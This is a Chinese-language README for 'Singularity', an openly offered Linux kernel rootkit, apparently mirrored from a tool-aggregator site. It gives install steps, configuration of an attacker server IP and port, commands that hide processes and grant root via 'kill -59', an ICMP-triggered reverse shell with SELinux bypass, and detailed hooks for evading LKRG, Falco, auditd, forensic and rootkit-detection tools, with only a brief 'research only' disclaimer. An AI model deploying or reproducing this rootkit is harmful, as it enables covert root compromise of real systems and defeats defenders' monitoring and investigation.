“给取证工作找点麻烦如何?”
本项目灵感来源于一位对我而言非常特别的女性:Mocinha
Singularity 是一款专为现代6.x内核设计的强大Linux内核模块(LKM)Rootkit。它通过ftrace基础设施实现高级系统调用劫持,提供全面的隐蔽能力。
完整研究文章(旧版):Singularity: 一个终局级Linux内核Rootkit
EDR逃逸案例研究:使用Singularity绕过Elastic EDR
演示视频:Singularity vs eBPF安全工具:Singularity vs eBPF安全工具
利用Singularity钩子攻破eBPF安全机制:攻破eBPF
Singularity 是一款在内核层面运行的精巧Rootkit,提供以下功能:
/sys/fs/cgroup/*/cgroup.procs检测cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
就这样。该模块自动:
- 从 lsmod、/proc/modules、/sys/module 中隐藏自身
- 清除内核污染标志
- 从 dmesg、journalctl -k、klogctl 中过滤敏感字符串
- 开始保护您的隐藏文件和进程
### 重要说明
**模块在加载后自动隐藏自身**
**没有卸载功能——需要重启才能移除**
**先在虚拟机中测试——不重启无法移除**
## 配置
### 设置您的服务器 IP 和端口
**编辑 `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
编辑 modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**编辑 `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
编辑 modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**重要**:所有端口定义必须匹配,以确保正确的网络隐藏和ICMP反向shell功能。
## 使用方法
### 隐藏进程```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
进程将对 ps、top、htop、/proc 以及所有监控工具不可见。所有子进程都会被自动追踪并隐藏。
匹配您配置模式的文件会被自动隐藏:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### 成为Root
**基于信号的方法:**```bash
kill -59 $$
id # uid=0(root)
您配置的端口(默认:8081)上的连接会自动隐藏:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
数据包在原始套接字级别(tpacket_rcv)被丢弃,并隐藏于以下位置:
- /proc/net/* 接口(tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG 查询(用于 ss, lsof)
- Netlink NETFILTER/conntrack 消息(用于 conntrack 工具)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP 反向 Shell
远程触发隐藏的反向 Shell,自动绕过 SELinux:
**1. 启动监听器:**```bash
nc -lvnp 8081 # Use your configured port
2. 发送ICMP触发器:```bash sudo python3 scripts/trigger.py <target_ip>
**3. 获取 root shell**(自动隐藏所有子进程,若 SELinux 处于强制模式则绕过)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## 保护机制
### Ftrace 控制保护
所有禁用 ftrace 的尝试都会被静默拦截并阻止:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
受保护的系统调用:write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter(具有基于每个 PID 的智能缓存)
bpf_hook.c 模块实现了一种复杂的反检测系统,用于对抗基于 eBPF 的安全工具。它并非完全阻止 BPF 系统调用(这会产生检测指纹),而是有选择地在内核层面过滤数据,使隐藏的进程和连接对 eBPF 程序不可见。
策略:拦截 eBPF 程序用于数据收集和报告的函数,而非 BPF 系统调用本身。这允许合法的 eBPF 工具正常运行,同时阻止它们看到隐藏的资源。
受保护的资源:
拦截点:
这种方法可击败 eBPF 安全工具,且不会触发因完全阻止 BPF 操作而可能产生的警报。
在 ftrace_enabled 和 tracing_on 尝试中,针对 io_uring 绕过进行保护,并带有智能缓存(每个 PID 1 秒缓存,以防止重复的进程扫描并减少开销)
对所有内核日志接口中的敏感字符串进行实时过滤:
过滤关键词:taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
注意:隐藏 PID 的审计消息会在 netlink 层面丢弃,并带有统计跟踪(get_blocked_audit_count, get_total_audit_count)
Singularity 挂钩 write 系统调用,以检测并过滤来自磁盘取证工具的输出:
工作原理:
/dev/sda, /dev/nvme0n1 等)debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
**检测到的模式:**
- `debugfs:` 前缀
- 带括号的 inode 列表
- `Inode count:`、`Block count:`、`Filesystem volume name:`
- `Filesystem UUID:`、`e2fsck`、`Inode:`
### 进程隐藏实现
完全隐藏于系统调用和内核接口:
- /proc/[pid]/*(`openat`、`readlinkat` 被阻断)
- getdents、getdents64(目录列表被过滤)
- stat、lstat、statx、newfstatat(元数据隐藏)
- 信号 0 的 kill(返回 ESRCH)
- getsid、getpgid、getpgrp(返回 ESRCH)
- sched_getaffinity、sched_getparam、sched_getscheduler、sched_rr_get_interval(返回 ESRCH)
- getpriority(返回 ESRCH)
- sysinfo(进程计数已调整)
- pidfd_open(返回 ESRCH)
- TaskStats netlink 查询(返回 ESRCH)
- 从 cgroup.procs 中过滤的 Cgroup PID
子进程通过 `sched_process_fork` tracepoint 钩子自动跟踪。
### LKRG 绕过
Singularity 实现了针对 Linux 内核运行时防护(LKRG)的全面规避:
**已绕过的检查:**
- 进程凭据验证(`p_cmp_creds`)
- 任务结构完整性(`p_cmp_tasks`)
- 控制流完整性验证(`p_ed_pcfi_validate_sp`、`p_ed_enforce_pcfi`)
- 内核完整性检查(`p_check_integrity`)
- 漏洞检测子系统(`p_exploit_detection_init`)
- 用户态辅助程序跟踪(`p_call_usermodehelper_entry`、`p_call_usermodehelper_exec_entry`)
- 任务转储与枚举(`p_dump_task_f`、`ed_task_add`)
- Kprobe ftrace 处理程序拦截
**特性:**
- 自动检测 LKRG 并安装钩子
- 进程谱系验证(隐藏整个进程树,最深可达 64 层)
- 用于反向 shell 操作的 UMH 绕过
- 用于检测 LKRG 加载的模块通知系统
隐藏进程对所有 LKRG 完整性验证机制不可见。
### Falco 绕过
Singularity 实现了一个全面的反 EDR 防御系统,可防止基于 eBPF 的安全工具检测隐藏进程和网络连接。该保护通过拦截 eBPF 程序用于收集和报告数据的内核函数来实现。
**防御对象:**
- Falco(基于事件的运行时安全)
- Tracee(安全追踪)
- bpftool 和带 BPF 后端的 ss
**多层拦截:**
1. **迭代器过滤**(`bpf_iter_run_prog`)
- 从 TCP/UDP 迭代器中过滤隐藏端口上的套接字
- 从任务迭代器中隐藏进程及其子进程
- 防止通过 `ss` 和进程枚举工具检测
2. **Ringbuffer 事件阻断**(`bpf_ringbuf_output`、`bpf_ringbuf_reserve`、`bpf_ringbuf_submit`)
- 通过分析头部格式检测 Falco 事件结构
- 阻断隐藏 PID 的事件分配、提交和输出
- 防止系统调用事件到达 Falco 用户空间代理
3. **BPF map 操纵**(`bpf_map_lookup_elem`、`bpf_map_update_elem`)
- 当 eBPF 在 map 中查找隐藏 PID 时返回 NULL
- 静默丢弃键为隐藏 PID 的 map 插入操作
- 防止 eBPF 安全工具跟踪隐藏进程
4. **Perf 事件抑制**(`perf_event_output`、`perf_trace_run_bpf_submit`)
- 阻断隐藏进程的 perf 事件提交
- 防止遗留 eBPF 工具接收跟踪数据
5. **Seq 文件过滤**(`bpf_seq_write`、`bpf_seq_printf`)
- 在写入前扫描输出数据中的隐藏 PID
- 防止通过 eBPF 迭代器使用的 /proc 接口泄露
6. **程序执行控制**(`__bpf_prog_run`)
- 当在隐藏进程上下文中运行时阻止 eBPF 程序执行
- 防止任何基于 eBPF 的隐藏进程内部监控
**套接字和连接隐藏:**
- 缓存隐藏 IP 地址以提高性能
- 基于配置的端口和 IP 过滤套接字
- 同时隐藏 IPv4 和 IPv6 连接
- 在迭代器级别工作(数据到达 eBPF 程序之前)
**进程谱系跟踪:**
- 追溯父进程链,最深可达 10 层
- 自动隐藏隐藏进程的所有后代
- 确保隐藏后产生的子进程仍保持不可见
隐藏进程和连接对 eBPF 安全工具不会产生任何可见事件。
## 已绕过的安全工具
**进程监控**:ps、top、htop、atop、pidof
**文件系统**:ls、find、locate、stat、lstat、readlink、tree
**磁盘取证**:debugfs、e2fsck(通过写钩子过滤输出)
**内存取证**:Volatility、crash、gdb(通过 /proc/kcore 过滤)
**网络**:netstat、ss、lsof、tcpdump、wireshark、conntrack、nload、iftop、/proc/net/*
**日志与跟踪**:dmesg、journalctl、klogctl、strace、ltrace、ftrace、perf
**Rootkit 检测器**:unhide、chkrootkit、rkhunter、OSSEC
**模块检测**:lsmod、modinfo、/sys/module、/proc/modules、kmod
**内核安全**:LKRG(Linux Kernel Runtime Guard)
**eBPF 安全工具**:
- Falco(运行时安全监控)
- Tracee(安全追踪)
- bpftrace、bpftool(用于监控时)
**EDR/监控**:基于 io_uring 的监控器、部分 Linux EDR 解决方案、auditd
## 系统调用钩子
| 系统调用/函数 | 模块 | 目的 |
|---------|--------|---------|
| getdents、getdents64 | hiding_directory.c | 过滤目录项,隐藏 PID |
| stat、lstat、newstat、newlstat、statx、newfstatat | hiding_stat.c | 隐藏文件元数据,调整 nlink |
| getpriority | hiding_stat.c | 隐藏对隐藏 PID 的优先级查询 |
| openat | open.c | 阻断对隐藏 /proc/[pid] 的访问 |
| readlinkat | hiding_readlink.c | 阻断符号链接解析 |
| chdir | hiding_chdir.c | 阻止 cd 进入隐藏目录 |
| read、pread64、readv、preadv | clear_taint_dmesg.c | 过滤内核日志、kcore、kallsyms、cgroup PID、nf_conntrack |
| do_syslog | clear_taint_dmesg.c | 过滤 klogctl()/syslog() 内核环形缓冲区 |
| sched_debug_show | clear_taint_dmesg.c | 过滤调度器调试输出 |
| write、writev、pwrite64、pwritev、pwritev2 | hooks_write.c | 阻断 ftrace 控制 + 过滤磁盘取证 + 过滤 journalctl 输出 |
| sendfile、sendfile64、copy_file_range | hooks_write.c | 阻断文件复制到受保护文件 |
| splice、vmsplice、tee | hooks_write.c | 阻断基于管道的写入受保护文件 |
| io_uring_enter | hooks_write.c | 通过 PID 缓存阻断异步 I/O 绕过 |
| kill | become_root.c | 触发 root 权限 + 隐藏进程 |
| getsid、getpgid、getpgrp | become_root.c | 对隐藏 PID 返回 ESRCH |
| sched_getaffinity、sched_getparam、sched_getscheduler、sched_rr_get_interval | become_root.c | 对隐藏 PID 返回 ESRCH |
| sysinfo | become_root.c | 调整进程计数 |
| pidfd_open | become_root.c | 对隐藏 PID 返回 ESRCH |
| tcp4_seq_show、tcp6_seq_show | hiding_tcp.c | 从 /proc/net 隐藏 TCP 连接 |
| udp4_seq_show、udp6_seq_show | hiding_tcp.c | 从 /proc/net 隐藏 UDP 连接 |
| tpacket_rcv | hiding_tcp.c | 在原始套接字级别丢弃数据包 |
| recvmsg、recvfrom | audit.c | 过滤 netlink SOCK_DIAG 和 NETFILTER 消息 |
| netlink_unicast | audit.c | 丢弃隐藏 PID 的审计消息 |
| audit_log_start | audit.c | 阻断隐藏进程的审计日志创建 |
| bpf | bpf_hook.c | 过滤隐藏 PID 的 eBPF 操作 |
| bpf_iter_run_prog | bpf_hook.c | 从 BPF 迭代器隐藏隐藏进程 |
| bpf_seq_write、bpf_seq_printf | bpf_hook.c | 过滤 BPF seq 文件输出 |
| bpf_ringbuf_output、bpf_ringbuf_reserve、bpf_ringbuf_submit | bpf_hook.c | 通过 ringbuffer 过滤 Falco 事件 |
| bpf_map_lookup_elem、bpf_map_update_elem | bpf_hook.c | 过滤 BPF map 操作 |
| perf_event_output、perf_trace_run_bpf_submit | bpf_hook.c | 过滤隐藏进程的 perf 事件 |
| __bpf_prog_run | bpf_hook.c | 过滤 BPF 程序执行 |
| icmp_rcv | icmp.c | 基于 ICMP 触发的反向 shell(含 SELinux 绕过) |
| taskstats_user_cmd | task.c | 阻断隐藏 PID 的 TaskStats 查询 |
| sched_process_fork(tracepoint) | trace.c | 跟踪子进程 |
| kprobe_ftrace_handler | lkrg_bypass.c | 绕过 LKRG kprobe 检测 |
| p_cmp_creds、p_cmp_tasks | lkrg_bypass.c | 绕过 LKRG 凭据检查 |
| p_ed_pcfi_validate_sp、p_ed_enforce_pcfi | lkrg_bypass.c | 绕过 LKRG CFI 验证 |
| p_check_integrity | lkrg_bypass.c | 绕过 LKRG 完整性检查 |
| p_dump_task_f、ed_task_add | lkrg_bypass.c | 从 LKRG 任务枚举中隐藏 |
| p_call_usermodehelper_entry、p_call_usermodehelper_exec_entry | lkrg_bypass.c | 绕过 LKRG UMH 跟踪 |
| p_exploit_detection_init | lkrg_bypass.c | 绕过 LKRG 漏洞检测 |
| tainted_mask(kthread) | reset_tainted.c | 清除内核 taint 标志 |
| module_hide_current | hide_module.c | 从模块列表和 sysfs 中移除 |
**多架构支持**:x86_64(`__x64_sys_*`)和 ia32(`__ia32_sys_*`、`__ia32_compat_sys_*`)
## 已测试内核版本
| 内核版本 | 发行版 | 状态 | 备注 |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | 稳定 | 主要开发环境 |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | 稳定 | 基于 RHEL 的内核 |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | 稳定 | Debian 内核 |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | 稳定 | SELinux 强制模式绕过已验证 |
| 6.17.0-8-generic | Ubuntu 25.10 | 稳定 | 较新通用内核,功能完整 |
| 6.14.0-37-generic | Ubuntu 24.04 | 稳定 | LKRG 和 Falco 绕过已验证 |
| 6.12.25-amd64 | Kali Linux | 稳定 | Kali 6.12.25-1kali1 |
## 剧情
可惜对某些人来说……
尽管有所有这些过滤器、保护和钩子,仍然有方法检测到这个 rootkit。
但如果你是一名优秀的取证分析师、DFIR 专业人士或恶意软件研究员,我会让你自己去搞清楚。
我不会为此打补丁,因为这样会更强大 ;)
## 致谢
**Singularity** 由 **MatheuZSecurity**(Matheus Alves)创建
- LinkedIn:[mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord:`kprobe`
**加入 Rootkit 研究人员**:Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)
### 代码参考
- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)
### 研究灵感
- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)
## 贡献
- 提交拉取请求进行改进
- 通过 GitHub Issues 报告错误
- 建议新的规避技术
- 分享检测方法(用于研究)
**发现 bug?** 打开 Issue 或通过 Discord 联系我:`kprobe`
**仅供教育和研究目的**
Singularity 是一个研究项目,旨在探索内核级隐身技术的极限。目标是回答一个问题:**“如果一个 rootkit 成功渗透并加载到系统中,它能隐藏到什么程度?”**
本项目存在的意义:
- 推动进攻性安全研究的边界
- 帮助防御者了解他们面临的是什么
- 提供内核内部和规避技术的学习资源
- 为安全社区的知识库做出贡献
**我对任何滥用本软件的行为概不负责。** 如果你选择将 Singularity 用于恶意目的,那是你自己的责任。本工具按“原样”提供,仅用于研究、教育和授权安全测试。
只能在你自己拥有或已获得明确书面许可的系统上进行测试。未经授权访问计算机系统在大多数司法管辖区是违法的。
**做一名研究人员,而不是罪犯。**
| 接口 | 钩子 | 状态 |
|---|
dmesg | 读取钩子(位于 /proc/kmsg) | 已过滤 |
journalctl -k | 写入钩子(输出过滤) | 已过滤 |
klogctl() / syslog() | do_syslog 钩子 | 已过滤 |
/sys/kernel/debug/tracing/* | 读取钩子 | 已过滤 |
/var/log/kern.log, syslog, auth.log | 读取钩子 | 已过滤 |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo | 读取钩子 | 已过滤 |
/proc/net/nf_conntrack | 读取钩子 | 已过滤 |